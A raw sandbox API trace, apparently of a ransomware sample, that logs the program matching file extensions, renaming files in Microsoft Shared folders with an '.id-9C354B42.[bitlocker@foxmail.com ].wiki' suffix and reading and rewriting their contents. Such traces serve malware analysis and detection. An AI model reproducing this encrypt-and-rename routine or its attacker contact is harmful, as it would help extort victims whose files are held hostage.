lpString2="avi") returned -1 [0046.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.580] lstrlenW (lpString=".dbf") returned 4 [0046.580] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.580] lstrlenW (lpString=".1cd") returned 4 [0046.580] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0046.580] lstrlenW (lpString=".jpg") returned 4 [0046.580] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.580] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0046.580] lstrlenW (lpString="join.avi") returned 8 [0046.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.580] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=222208) returned 1 [0046.580] CloseHandle (hObject=0x1bc) returned 1 [0046.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0046.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.582] lstrlenW (lpString=".doc") returned 4 [0046.582] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.582] lstrlenW (lpString=".docx") returned 5 [0046.582] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0046.582] lstrlenW (lpString=".pdf") returned 4 [0046.582] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.582] lstrlenW (lpString=".xls") returned 4 [0046.582] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.582] lstrlenW (lpString=".xlsx") returned 5 [0046.582] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0046.582] lstrlenW (lpString=".ppt") returned 4 [0046.582] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.582] lstrlenW (lpString=".zip") returned 4 [0046.582] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.582] lstrlenW (lpString=".rar") returned 4 [0046.583] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString=".bz2") returned 4 [0046.583] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString=".7z") returned 3 [0046.583] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.583] lstrlenW (lpString=".dbf") returned 4 [0046.583] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.583] lstrlenW (lpString=".1cd") returned 4 [0046.583] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.583] lstrlenW (lpString=".jpg") returned 4 [0046.583] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.583] lstrlenW (lpString=".doc") returned 4 [0046.583] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString=".docx") returned 5 [0046.583] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0046.583] lstrlenW (lpString=".pdf") returned 4 [0046.583] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString=".xls") returned 4 [0046.583] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString=".xlsx") returned 5 [0046.583] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0046.583] lstrlenW (lpString=".ppt") returned 4 [0046.583] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.583] lstrlenW (lpString=".zip") returned 4 [0046.583] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString=".rar") returned 4 [0046.583] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.583] lstrlenW (lpString=".bz2") returned 4 [0046.583] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.584] lstrlenW (lpString=".7z") returned 3 [0046.584] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.584] lstrlenW (lpString=".dbf") returned 4 [0046.584] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.584] lstrlenW (lpString=".1cd") returned 4 [0046.584] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0046.584] lstrlenW (lpString=".jpg") returned 4 [0046.584] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.584] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0046.584] lstrlenW (lpString="split.avi") returned 9 [0046.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.584] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=194048) returned 1 [0046.584] CloseHandle (hObject=0x1bc) returned 1 [0046.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0046.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.585] lstrlenW (lpString=".doc") returned 4 [0046.585] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.585] lstrlenW (lpString=".docx") returned 5 [0046.585] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.585] lstrlenW (lpString=".pdf") returned 4 [0046.585] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.585] lstrlenW (lpString=".xls") returned 4 [0046.585] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.585] lstrlenW (lpString=".xlsx") returned 5 [0046.585] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.585] lstrlenW (lpString=".ppt") returned 4 [0046.585] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.585] lstrlenW (lpString=".zip") returned 4 [0046.585] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.585] lstrlenW (lpString=".rar") returned 4 [0046.585] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.585] lstrlenW (lpString=".bz2") returned 4 [0046.585] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.585] lstrlenW (lpString=".7z") returned 3 [0046.585] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.585] lstrlenW (lpString=".dbf") returned 4 [0046.585] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.585] lstrlenW (lpString=".1cd") returned 4 [0046.585] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.585] lstrlenW (lpString=".jpg") returned 4 [0046.585] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.585] lstrlenW (lpString=".doc") returned 4 [0046.586] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.586] lstrlenW (lpString=".docx") returned 5 [0046.586] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.586] lstrlenW (lpString=".pdf") returned 4 [0046.586] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.586] lstrlenW (lpString=".xls") returned 4 [0046.586] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.586] lstrlenW (lpString=".xlsx") returned 5 [0046.586] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.586] lstrlenW (lpString=".ppt") returned 4 [0046.586] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.586] lstrlenW (lpString=".zip") returned 4 [0046.586] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.586] lstrlenW (lpString=".rar") returned 4 [0046.586] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.586] lstrlenW (lpString=".bz2") returned 4 [0046.586] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.586] lstrlenW (lpString=".7z") returned 3 [0046.586] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.586] lstrlenW (lpString=".dbf") returned 4 [0046.586] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.586] lstrlenW (lpString=".1cd") returned 4 [0046.586] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0046.586] lstrlenW (lpString=".jpg") returned 4 [0046.586] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.586] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0046.586] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0046.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.587] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1600388) returned 1 [0046.587] CloseHandle (hObject=0x1bc) returned 1 [0046.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0046.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0046.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.587] lstrlenW (lpString=".doc") returned 4 [0046.587] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.587] lstrlenW (lpString=".docx") returned 5 [0046.587] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0046.587] lstrlenW (lpString=".pdf") returned 4 [0046.587] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.587] lstrlenW (lpString=".xls") returned 4 [0046.587] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.587] lstrlenW (lpString=".xlsx") returned 5 [0046.587] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0046.587] lstrlenW (lpString=".ppt") returned 4 [0046.588] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.588] lstrlenW (lpString=".zip") returned 4 [0046.588] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString=".rar") returned 4 [0046.588] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString=".bz2") returned 4 [0046.588] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString=".7z") returned 3 [0046.588] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.588] lstrlenW (lpString=".dbf") returned 4 [0046.588] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.588] lstrlenW (lpString=".1cd") returned 4 [0046.588] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.588] lstrlenW (lpString=".jpg") returned 4 [0046.588] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.588] lstrlenW (lpString=".doc") returned 4 [0046.588] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString=".docx") returned 5 [0046.588] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0046.588] lstrlenW (lpString=".pdf") returned 4 [0046.588] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString=".xls") returned 4 [0046.588] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString=".xlsx") returned 5 [0046.588] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0046.588] lstrlenW (lpString=".ppt") returned 4 [0046.588] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.588] lstrlenW (lpString=".zip") returned 4 [0046.588] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.589] lstrlenW (lpString=".rar") returned 4 [0046.589] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.589] lstrlenW (lpString=".bz2") returned 4 [0046.589] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.589] lstrlenW (lpString=".7z") returned 3 [0046.589] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.589] lstrlenW (lpString=".dbf") returned 4 [0046.589] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.589] lstrlenW (lpString=".1cd") returned 4 [0046.589] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0046.589] lstrlenW (lpString=".jpg") returned 4 [0046.589] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.589] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.589] lstrlenW (lpString="auxbase.xml") returned 11 [0046.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.599] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1434) returned 1 [0046.599] CloseHandle (hObject=0x1bc) returned 1 [0046.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0046.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.599] lstrlenW (lpString=".doc") returned 4 [0046.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.599] lstrlenW (lpString=".docx") returned 5 [0046.599] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0046.599] lstrlenW (lpString=".pdf") returned 4 [0046.599] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.599] lstrlenW (lpString=".xls") returned 4 [0046.599] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.599] lstrlenW (lpString=".xlsx") returned 5 [0046.599] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0046.599] lstrlenW (lpString=".ppt") returned 4 [0046.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.600] lstrlenW (lpString=".zip") returned 4 [0046.600] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.600] lstrlenW (lpString=".rar") returned 4 [0046.600] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.600] lstrlenW (lpString=".bz2") returned 4 [0046.600] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.600] lstrlenW (lpString=".7z") returned 3 [0046.600] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.600] lstrlenW (lpString=".dbf") returned 4 [0046.600] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0046.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0046.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0046.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0046.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0046.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.959] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.959] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.959] ReadFile (in: hFile=0x198, lpBuffer=0x3870058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3870058*, lpNumberOfBytesRead=0x2d8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.962] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.963] ReadFile (in: hFile=0x198, lpBuffer=0x38b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d8fc38, lpOverlapped=0x0 | out: lpBuffer=0x38b0058*, lpNumberOfBytesRead=0x2d8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.970] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.970] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.970] ReadFile (in: hFile=0x198, lpBuffer=0x38f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d8fc38, lpOverlapped=0x0 | out: lpBuffer=0x38f0058*, lpNumberOfBytesRead=0x2d8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.985] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.985] WriteFile (in: hFile=0x198, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2d8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0047.223] SetEndOfFile (hFile=0x198) returned 1 [0047.223] RtlAllocateHeap 